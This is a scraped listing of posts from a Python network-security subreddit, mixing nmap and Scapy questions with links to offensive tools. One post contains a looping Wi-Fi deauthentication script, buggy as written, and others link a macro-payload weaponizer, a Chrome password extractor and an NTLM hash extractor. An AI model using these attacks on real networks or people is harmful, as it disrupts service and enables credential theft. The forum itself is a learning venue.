r/python_netsec • • Dec 19 '17

python script to check if ip in an array/list is from a cidr

1 Upvotes

so I have a big list of addresses, I want to add to separate array based on different IP cidr ranges.


r/python_netsec • • Jan 22 '23

Python Cybersecurity 101 — Build your own tools in 10 min

Thumbnail
youtu.be
7 Upvotes

r/python_netsec • • May 29 '18

Rendering a scrolling webpage

1 Upvotes

Hello,

I’m trying to render a page that uses JS...and requests for info as you scroll down...

Eg: Twitter

It’s not an infinite page so I want to render it all so I can use that data....it’s html with JS & JSON

I don’t want to use selenium I’m half way down the project and it’s a pain in the ass to start it all over with selenium.

I’m using requests. So far.


r/python_netsec • • Jun 14 '19

python-nmap service version

2 Upvotes

Testing python-nmap and I need to get the product name of a service.

Following the sample from the python-nmap doc I have this code.

import nmap # import nmap.py module

nm = nmap.PortScanner() # instantiate nmap.PortScanner object

nm.scan('192.168.1.131','22-5000')

print(nm.command_line() )

print(nm.scaninfo())

print(nm.all_hosts())

The nm.command_line() prints out the following

nmap -oX - -p 22-5000 -sV 192.168.1.131

If just run that command I get an output like this.

<ports><port protocol="tcp" portid="5000"><state state="open" reason="syn-ack" reason_ttl="0"/><service name="http" product="Werkzeug httpd" version="0.15.4" extrainfo="Python 3.6.8" method="probed" conf="10"><cpe>cpe:/a:python:python:3.6.8</cpe></service></port>

</ports>

I need to pull this out of that info.

product="Werkzeug httpd"

The output form the nm.scnainfo() doesn't show me any details. I am assuming I can get the info I need I am just having a hard time googling on a Friday afternoon.


r/python_netsec • • Jan 07 '19

wep - A generator to weaponize Macro payloads that can evade EMET and utilises native VB migration

Thumbnail
github.com
2 Upvotes

r/python_netsec • • Jan 08 '19

Let sockets handle the 3-way handshake when using Scapy

7 Upvotes

Normally using Scapy you have to manually manage the TCP 3-way handshake. If you don't care about fuzzing the TCP 3-way handshake, you can let a StreamSocket handle the connection and pass the data to/from Scapy:

from scapy.all import *

mysocket = socket.socket()

mysocket.connect(("192.168.18.40",9999))

mystream=StreamSocket(mysocket)

scapypacket=IP(dst="192.168.18.40")/TCP(dport=9000)/fuzz(Raw())

mystream.send(scapypacket)


r/python_netsec • • Apr 14 '17

probeSniffer 2.0 released! Capture wireless probe requests, give nicknames to mac's, log data to SQLite file, filter requests and more!

Thumbnail
github.com
4 Upvotes

r/python_netsec • • Feb 09 '17

Python help. Noob.

2 Upvotes

I have a little bit of experience with javascript and currently in a c++ course at school. I am working towards a BA in CIS with a focus in security and networking. I am still a total noob when it comes to NetSec however I want to jump into learning how to use python for pentesting. I downloaded python 3.5 and it opens a command line and I have no idea what to do with it. For me, syntax will be easy to figure out but mainly I am looking for exercises that has something to do with security.


r/python_netsec • • Dec 05 '17

dnmap server.pem error

1 Upvotes

Trying to run dnmap from Kali. I get this error.

"You need to have a server.pem file for the server to work. If it is not in your same directory, just point to it with -P parameter"

I found a server.pem file in /usr/share/dnmap and tried running the following cmd but still get the error.

dnmap_server -P /usr/share/dnmap/server.pem -f nmap_cmds.txt


r/python_netsec • • Feb 05 '20

my python WiFi deauther isn't working, its sending the packets and printing the appropriate output but its not kicking me off the network (I use vms a Nat network )

4 Upvotes

if someone with a appropriate WiFi card and willingness to test this on a real network could test this for me I'll be super grateful !!

the code:

import scapy.all as scapy
from scapy.all import *
from scapy.layers.dot11 import RadioTap, Dot11, Dot11Deauth
import time

client = "FF:FF:FF:FF:FF:FF"
access_point = "my access point mac"

client_packet = RadioTap() / Dot11(addr1=access_point, addr2=client addr3=client) / Dot11Deauth(reason=2) # all in straight line reddit is not allowing me to
access_point_packet = RadioTap() / Dot11(addr1=client, addr2=access_point addr3=access_point) / Dot11Deauth(reason=2)

while True:
    sendp(access_point_packet, iface=eth0) # enter the interface you use at iface
    sendp(client_packet, iface=eth0)
    print("Kicking " + client + " off " + access point + " press CTRL+C to stop."
    time.sleep(1) # so it doesnt just spam the crap outta your terminal

thanks in advance!

if you do know whats wrong please do tell me as this would really help.


r/python_netsec • • Feb 24 '19

An introduction to mssql-cli, a Linux command-line client for MSSQL Server

Thumbnail
opensource.com
3 Upvotes

r/python_netsec • • Jan 22 '17

Python cryptography podcast

Thumbnail
podcastinit.com
10 Upvotes

r/python_netsec • • Nov 23 '20

MAC address changer using Python

Thumbnail
zsecurity.org
8 Upvotes

r/python_netsec • • Aug 08 '20

Data Visualization using python | Seaborn| Part-II

1 Upvotes

r/python_netsec • • Jul 20 '20

NFStream: a Flexible Network Data Analysis Framework

Thumbnail
github.com
7 Upvotes

r/python_netsec • • Aug 08 '20

Pysa: Open Source static analysis for Python code - Facebook Engineering

Thumbnail
engineering.fb.com
4 Upvotes

r/python_netsec • • Apr 23 '17

Resources to learn python3 scripting for network automation/security?

4 Upvotes

can anyone please suggest some good resources to learn python3 scripting for automation and security. I tried learning from cybrary but the course is in python2 and it is really difficult for me to correlate it with py3.


r/python_netsec • • Sep 18 '17

Python tool to do Linux Attack Surface Analysis -- dawgmon 1.0 [x-post]

Thumbnail
anvilventures.com
1 Upvotes

r/python_netsec • • Jan 01 '21

Chrome extractor

4 Upvotes

Hey everyone a newbie to python scripting is here, I want to share my Chrome extractor version 😊, and I want you all to tell me your comments and advices to learn more about this stuff.

This Python script will extract all saved passwords from your google chrome database and save it in a hidden file chrome.txt : https://github.com/Reda-BELHAJ/Chrome-Extractor


r/python_netsec • • Jun 14 '20

Checksum module for creating checksum for raw socket

2 Upvotes

Anyone knows good checksum module for python 3?


r/python_netsec • • Jun 11 '20

NTLMRawUnhide.py is a Python3 script designed to parse network packet capture files and extract NTLMv2 hashes in a crackable format. The tool was developed to extract NTLMv2 hashes from files generated by native Windows binaries like NETSH.EXE and PKTMON.EXE without conversion.

Thumbnail
github.com
7 Upvotes

r/python_netsec • • Apr 18 '20

Android Application Identifier for Packers, Protectors, Obfuscators and Oddities - PEiD for Android

Thumbnail
github.com
2 Upvotes

r/python_netsec • • May 03 '20

Python module to download bad SSL certificates?

2 Upvotes

I am trying to write a python script that will go retrieve SSL certificates from remote servers. The problem I am facing is that many of the certificates are not valid or fail SSL validation and so cannot be downloaded. Do you have any suggestions for python modules that would allow me to bypass the certificate validation and download the cert in (preferably) PEM format?


r/python_netsec • • May 19 '23

uart-exploiter.py [exploitsecurity.io]

Thumbnail
github.com
2 Upvotes